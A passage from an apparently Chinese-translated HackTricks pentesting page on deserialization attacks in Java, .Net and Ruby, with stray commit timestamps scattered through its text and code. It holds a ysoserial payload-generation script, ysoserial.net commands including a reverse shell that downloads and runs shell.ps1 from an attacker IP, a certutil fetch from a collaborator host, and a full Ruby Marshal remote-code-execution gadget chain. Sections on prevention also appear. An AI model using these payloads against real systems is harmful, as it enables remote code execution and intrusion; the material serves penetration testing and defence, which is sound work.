在创建**java.lang.Runtime.exec()**的有效载荷时,**不能使用特殊字符**,如“>”或“|”来重定向执行的输出,“$()”来执行命令,甚至**通过空格**来传递参数给命令(你可以使用`echo -n "hello world"`,但不能使用`python2 -c 'print "Hello world"'`)。为了正确编码有效载荷,你可以[使用这个网页](http://www.jackson-t.ca/runtime-exec-payloads.html)。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
请随意使用下面的脚本创建适用于Windows和Linux的**所有可能的代码执行**有效载荷,然后在易受攻击的网页上进行测试:
2020-07-15 15:43:14 +00:00
```python
import os
import base64
2023-08-03 19:12:22 +00:00
2020-07-15 15:43:14 +00:00
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
2023-08-03 19:12:22 +00:00
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
2020-07-15 15:43:14 +00:00
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
```
2022-05-16 08:29:00 +00:00
#### serialkillerbypassgadgets
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
您可以使用[https://github.com/pwntester/SerialKillerBypassGadgetCollection](https://github.com/pwntester/SerialKillerBypassGadgetCollection)与ysoserial一起创建更多的漏洞利用。有关该工具的更多信息, 请参阅演讲的幻灯片: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
2020-07-15 15:43:14 +00:00
2022-05-16 08:29:00 +00:00
#### marshalsec
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
[marshalsec ](https://github.com/mbechler/marshalsec )可用于生成用于利用Java中不同的Json和Yml序列化库的有效载荷。为了编译该项目, 我需要将以下依赖项添加到`pom.xml`中:
2020-07-15 15:43:14 +00:00
```markup
< dependency >
2023-08-03 19:12:22 +00:00
< groupId > javax.activation< / groupId >
< artifactId > activation< / artifactId >
< version > 1.1.1< / version >
2020-07-15 15:43:14 +00:00
< / dependency >
2023-08-03 19:12:22 +00:00
2020-07-15 15:43:14 +00:00
< dependency >
2023-08-03 19:12:22 +00:00
< groupId > com.sun.jndi< / groupId >
< artifactId > rmiregistry< / artifactId >
< version > 1.2.1< / version >
< type > pom< / type >
2020-07-15 15:43:14 +00:00
< / dependency >
```
2023-08-03 19:12:22 +00:00
**安装maven**,并**编译**项目:
2020-07-15 15:43:14 +00:00
```bash
sudo apt-get install maven
mvn clean package -DskipTests
```
2022-05-16 08:29:00 +00:00
#### FastJSON
2020-07-29 09:22:22 +00:00
2023-08-03 19:12:22 +00:00
了解更多关于这个Java JSON库的信息: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
2020-07-29 09:22:22 +00:00
2023-08-03 19:12:22 +00:00
### 实验室
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
* 如果你想测试一些ysoserial的有效载荷, 你可以**运行这个web应用程序**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
2020-07-15 15:43:14 +00:00
* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/ ](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/ )
2023-08-03 19:12:22 +00:00
### 为什么
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
Java非常喜欢在各个地方发送序列化对象。例如:
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
* 在**HTTP请求**中 - 参数、ViewState、Cookies等等。
* **RMI** - 广泛使用的Java RMI协议完全基于序列化。
* **RMI over HTTP** - 许多Java厚客户端Web应用程序使用此协议 - 再次是100%的序列化对象。
* **JMX** - 同样,依赖于通过网络发送的序列化对象。
* **自定义协议** - 发送和接收原始Java对象是常态 - 我们将在即将到来的一些利用中看到。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 预防
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
#### 瞬态对象
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
实现`Serializable`接口的类可以将类内部不应该被序列化的任何对象标记为`transient`。例如:
2020-07-15 15:43:14 +00:00
```java
public class myAccount implements Serializable
{
2023-08-03 19:12:22 +00:00
private transient double profit; // declared transient
private transient double margin; // declared transient
2020-07-15 15:43:14 +00:00
```
2023-08-03 19:12:22 +00:00
#### 避免对需要实现Serializable接口的类进行序列化
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
由于类的层次结构,你的一些应用对象可能被强制实现`Serializable`接口。为了确保你的应用对象无法被反序列化,应该声明一个`readObject()`方法(带有`final`修饰符),该方法始终抛出异常:
2020-07-15 15:43:14 +00:00
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
2023-08-03 19:12:22 +00:00
throw new java.io.IOException("Cannot be deserialized");
2020-07-15 15:43:14 +00:00
}
```
2023-08-03 19:12:22 +00:00
#### 在反序列化之前检查反序列化的类
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
`java.io.ObjectInputStream` 类用于反序列化对象。通过对其进行子类化,可以加强其行为。如果满足以下条件,则这是最佳解决方案:
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
* 您可以更改执行反序列化的代码
* 您知道希望反序列化的类是哪些
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
总体思路是重写 [`ObjectInputStream.html#resolveClass()` ](https://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass\(java.io.ObjectStreamClass\ )) 方法,以限制允许反序列化的类。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
由于此调用发生在调用 `readObject()` 之前,您可以确保除非是您希望允许的类型,否则不会发生任何反序列化活动。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
下面是一个简单的示例,其中 `LookAheadObjectInputStream` 类保证只反序列化 `Bicycle` 类型:
2020-07-15 15:43:14 +00:00
```java
public class LookAheadObjectInputStream extends ObjectInputStream {
2023-08-03 19:12:22 +00:00
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
2020-07-15 15:43:14 +00:00
}
2023-08-03 19:12:22 +00:00
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class< ?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
```
**使用代理加固所有java.io.ObjectInputStream的使用**
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
如果你不拥有代码或者不能等待修补程序,使用代理来编织对`java.io.ObjectInputStream`的加固是最好的解决方案。\
使用这种方法,你只能将已知的恶意类型列入黑名单,而不能将它们列入白名单,因为你不知道哪些对象正在被序列化。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
要启用这些代理, 只需添加一个新的JVM参数:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
-javaagent:name-of-agent.jar
```
2023-08-03 19:12:22 +00:00
### 参考资料
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
* 反序列化和ysoserial讲座: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
2020-07-15 15:43:14 +00:00
* [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/ ](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/ )
* [https://www.youtube.com/watch?v=VviY3O-euVQ ](https://www.youtube.com/watch?v=VviY3O-euVQ )
2023-08-03 19:12:22 +00:00
* 关于gadgetinspector的讲座: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) 和幻灯片:[https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
* Marshalsec论文: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
2020-07-15 15:43:14 +00:00
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr ](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr )
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html ](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html )
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html ](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html )
2023-08-03 19:12:22 +00:00
* Java和.Net JSON反序列化**论文:**[**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**, **讲座:[https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 和幻灯片:[https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* 反序列化CVE: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
## JNDI注入和log4Shell
2021-12-26 17:40:15 +00:00
2023-08-03 19:12:22 +00:00
在以下页面中找到**JNDI注入是什么, 如何通过RMI、CORBA和LDAP滥用它以及如何利用log4shell**(以及此漏洞的示例):
2021-12-26 17:40:15 +00:00
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
[jndi-java-naming-and-directory-interface-and-log4shell.md ](jndi-java-naming-and-directory-interface-and-log4shell.md )
{% endcontent-ref %}
2023-08-03 19:12:22 +00:00
## JMS - Java消息服务
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
> **Java消息服务**( **JMS**) API是用于在两个或多个客户端之间发送消息的Java面向消息的中间件API。它是处理生产者-消费者问题的实现。JMS是Java平台企业版( Java EE) 的一部分, 并由Sun Microsystems开发的规范指导, 但现在由Java社区进程指导。它是一种允许基于Java EE的应用程序组件创建、发送、接收和读取消息的消息标准。它允许分布式应用程序的不同组件之间的通信松散耦合、可靠和异步。( 来自[Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service))。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 产品
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
有几个使用此中间件发送消息的产品:
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 291 ) . png > )
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 292 ) . png > )
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 利用
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
因此,基本上有一些**使用JMS的服务以危险的方式**。因此,如果您有**足够的权限**向这些服务发送消息(通常需要有效的凭据),您可能能够发送**恶意对象序列化,这些对象将由消费者/订阅者进行反序列化**。\
这意味着在此利用中,所有**将使用该消息的客户端都将被感染**。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
您应该记住, 即使服务存在漏洞( 因为它不安全地反序列化用户输入) , 您仍然需要找到有效的gadgets来利用该漏洞。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
工具[JMET](https://github.com/matthiaskaiser/jmet)被创建用于**连接和攻击这些服务, 发送使用已知gadgets序列化的多个恶意对象**。如果服务仍然存在漏洞, 并且使用的任何gadgets都在易受攻击的应用程序中, 这些利用将起作用。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 参考资料
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
* JMET讲座: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
* 幻灯片:[https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
2020-07-15 15:43:14 +00:00
2022-05-16 08:29:00 +00:00
## .Net
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
与Java类似, .Net在反序列化利用方面的工作方式也是相似的: **利用**将**滥用gadgets**,当对象**反序列化**时执行一些有趣的**代码**。
### 指纹识别
2020-07-15 15:43:14 +00:00
2022-05-16 08:29:00 +00:00
#### WhiteBox
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
在源代码中搜索以下术语:
2020-07-15 15:43:14 +00:00
1. `TypeNameHandling`
2. `JavaScriptTypeResolver`
2023-08-03 19:12:22 +00:00
查找任何由用户控制的变量设置类型的序列化器。
2020-07-15 15:43:14 +00:00
2022-05-16 08:29:00 +00:00
#### BlackBox
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
您可以搜索Base64编码的字符串**AAEAAAD/////**或任何其他可能在后端进行反序列化的内容,并允许您控制反序列化的类型。例如,包含`TypeObject`或`$type`的**JSON**或**XML**。
2020-07-15 15:43:14 +00:00
2022-05-16 08:29:00 +00:00
### ysoserial.net
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
在这种情况下,您可以使用工具[**ysoserial.net**](https://github.com/pwntester/ysoserial.net)来创建反序列化利用。下载git存储库后, 您应该使用Visual Studio等工具**编译该工具**。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
如果您想了解**ysoserial.net如何创建其利用**,您可以[**查看此页面, 其中解释了ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
**ysoserial.net**的主要选项有:**`--gadget`**, **`--formatter`**, **`--output`**和**`--plugin`**。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
* **`--gadget`** 用于指示要滥用的gadget( 指示在反序列化期间将被滥用以执行命令的类/函数)。
* **`--formatter`** 用于指示序列化利用的方法(您需要知道后端使用哪个库来反序列化有效负载,并使用相同的库来序列化它)
* **`--output`** 用于指示是否要以**原始**或**Base64**编码的形式提供利用。请注意,**ysoserial.net**将使用**UTF-16LE**( Windows上默认使用的编码) 对有效负载进行编码, 因此如果您获取原始负载并仅从Linux控制台进行编码, 可能会遇到一些**编码兼容性问题**, 这将导致利用无法正常工作( 在HTB JSON盒子中, 有效负载在UTF-16LE和ASCII中都有效, 但这并不意味着它总是有效) 。
* **`--plugin`** ysoserial.net支持插件来构建针对特定框架的利用, 如ViewState
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
#### 更多ysoserial.net参数
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
* `--minify` 将提供一个**更小的有效负载**(如果可能)
* `--raf -f Json.Net -c "anything"` 这将指示可以与提供的格式化程序(在本例中为`Json.Net`) 一起使用的所有gadgets
* `--sf xml` 您可以**指定一个gadget**( `-g`) , ysoserial.net将搜索包含"xml"(不区分大小写)的格式化程序
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
**ysoserial示例**以创建利用:
2020-07-15 15:43:14 +00:00
```bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
2022-05-01 12:41:36 +00:00
#Create shell command in linux
2020-07-15 15:43:14 +00:00
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
2022-05-01 12:41:36 +00:00
#Create exploit using the created B64 shellcode
2020-07-15 15:43:14 +00:00
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
2023-08-03 19:12:22 +00:00
**ysoserial.net**还有一个非常有趣的参数,可以帮助更好地理解每个漏洞的工作原理:`--test`。\
如果你指定了这个参数,**ysoserial.net**将在本地**尝试**执行漏洞,这样你就可以测试你的有效载荷是否能正常工作。\
这个参数很有帮助,因为如果你查看代码,你会发现像下面这样的代码块(来自[ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)) :
2020-07-15 15:43:14 +00:00
```java
2023-08-03 19:12:22 +00:00
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
2020-07-15 15:43:14 +00:00
```
2023-08-03 19:12:22 +00:00
这意味着为了测试漏洞,代码将调用[serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)。
2020-07-15 15:43:14 +00:00
```java
public static object JsonNet_deserialize(string str)
2023-08-03 19:12:22 +00:00
{
Object obj = JsonConvert.DeserializeObject< Object > (str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
2020-07-15 15:43:14 +00:00
```
2023-08-03 19:12:22 +00:00
在**之前的代码中存在漏洞**。因此,如果在一个.Net应用程序中找到类似的代码, 那么很可能该应用程序也存在漏洞。\
因此,**`--test`**参数允许我们了解**哪些代码块容易受到ysoserial.net创建的反序列化漏洞的攻击**。
2020-07-15 15:43:14 +00:00
2022-05-16 08:29:00 +00:00
### ViewState
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
请查看[关于**如何尝试利用.Net的\_\_ViewState参数的帖子**](exploiting-\_\_viewstate-parameter.md)以**执行任意代码**。如果你**已经知道受害者机器使用的密钥**, [**阅读这篇帖子以了解如何执行代码**](exploiting-\_\_viewstate-knowing-the-secret.md)**。**
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### **预防措施**
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
不要允许数据流定义流将被反序列化为的对象类型。例如,如果可能的话,可以通过使用`DataContractSerializer`或`XmlSerializer`来防止这种情况发生。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
在使用`JSON.Net`时,请确保`TypeNameHandling`仅设置为`None`。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
TypeNameHandling = TypeNameHandling.None
```
2023-08-03 19:12:22 +00:00
如果要使用`JavaScriptSerializer`,则不要与`JavaScriptTypeResolver`一起使用。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
如果必须反序列化定义了自己类型的数据流,则应限制允许反序列化的类型。但是,应该意识到这仍然存在风险,因为许多本机的.Net类型本身可能是危险的。例如:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
System.IO.FileInfo
```
2023-08-03 19:12:22 +00:00
`FileInfo` 对象引用实际位于服务器上的文件,当进行反序列化时,可以更改这些文件的属性,例如将其设置为只读,从而创建潜在的拒绝服务攻击。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
即使您已经限制了可以进行反序列化的类型,也要记住某些类型具有风险的属性。例如,`System.ComponentModel.DataAnnotations.ValidationException` 具有一个名为 `Value` 的属性,其类型为 `Object` 。如果允许反序列化此类型,则攻击者可以将 `Value` 属性设置为任何他们选择的对象类型。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
应该防止攻击者操纵将被实例化的类型。如果这是可能的,甚至可以篡改 `DataContractSerializer` 或 `XmlSerializer` 。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
// Action below is dangerous if the attacker can change the data in the database
2023-08-03 19:12:22 +00:00
var typename = GetTransactionTypeFromDatabase();
2020-07-15 15:43:14 +00:00
var serializer = new DataContractJsonSerializer(Type.GetType(typename));
var obj = serializer.ReadObject(ms);
```
2023-08-03 19:12:22 +00:00
在反序列化过程中,某些 .Net 类型中可能发生执行操作。创建如下所示的控件是无效的。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
var suspectObject = myBinaryFormatter.Deserialize(untrustedData);
//Check below is too late! Execution may have already occurred.
if (suspectObject is SomeDangerousObjectType)
{
2023-08-03 19:12:22 +00:00
//generate warnings and dispose of suspectObject
2020-07-15 15:43:14 +00:00
}
```
2023-08-03 19:12:22 +00:00
对于`BinaryFormatter`和`JSON.Net`,可以使用自定义的`SerializationBinder`创建更安全的白名单控制形式。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
要及时了解已知的.Net不安全反序列化工具, 并特别注意在反序列化过程中可以创建此类类型的位置。**反序列化器只能实例化它所知道的类型**。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
尽量将可能创建潜在工具的代码与具有互联网连接的代码分开。例如, 在WPF应用程序中使用的`System.Windows.Data.ObjectDataProvider`是一个已知的工具, 允许任意方法调用。在反序列化不受信任的数据的REST服务项目中引用此程序集将是有风险的。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### **参考资料**
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
* Java和.Net JSON反序列化**论文**: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**, **演讲:[https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c)和幻灯片:[https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
2021-10-19 00:01:07 +00:00
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp ](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp )
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf ](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf )
2020-07-15 15:43:14 +00:00
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization ](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization )
2022-05-16 08:29:00 +00:00
## **Ruby**
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
Ruby在**marshal**库中有两种方法来实现序列化:第一种方法是**dump**,将对象转换为字节流(**序列化**)。第二种方法是**load**,将字节流再次转换为对象(**反序列化**)。
Ruby使用HMAC对序列化对象进行签名, 并将密钥保存在以下文件之一中:
2020-07-15 15:43:14 +00:00
* config/environment.rb
2021-10-19 00:01:07 +00:00
* config/initializers/secret\_token.rb
2020-07-15 15:43:14 +00:00
* config/secrets.yml
* /proc/self/environ
2023-08-03 19:12:22 +00:00
Ruby 2.X通用反序列化到RCE gadget链( 更多信息请参见[https://www.elttam.com/blog/ruby-deserialization/](https://www.elttam.com/blog/ruby-deserialization/)) :
2021-09-19 21:42:43 +00:00
```ruby
#!/usr/bin/env ruby
class Gem::StubSpecification
2023-08-03 19:12:22 +00:00
def initialize; end
2021-09-19 21:42:43 +00:00
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>& 2")#RCE cmd must start with "|" and end with "1>& 2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
2023-08-03 19:12:22 +00:00
def initialize; end
2021-09-19 21:42:43 +00:00
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file < => other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
2023-08-03 19:12:22 +00:00
def marshal_dump
[$dependency_list]
end
2021-09-19 21:42:43 +00:00
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
2023-08-03 19:12:22 +00:00
pipe.print payload
pipe.close_write
puts pipe.gets
puts
2021-09-19 21:42:43 +00:00
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
```
2023-08-03 19:12:22 +00:00
利用Ruby On Rails的其他RCE链: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
2022-04-28 16:01:33 +00:00
< details >
2023-08-03 19:12:22 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks云 ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗? 想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组** ](https://discord.gg/hRep4RUj7f )或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **提交PR来分享你的黑客技巧。**
2022-04-28 16:01:33 +00:00
< / details >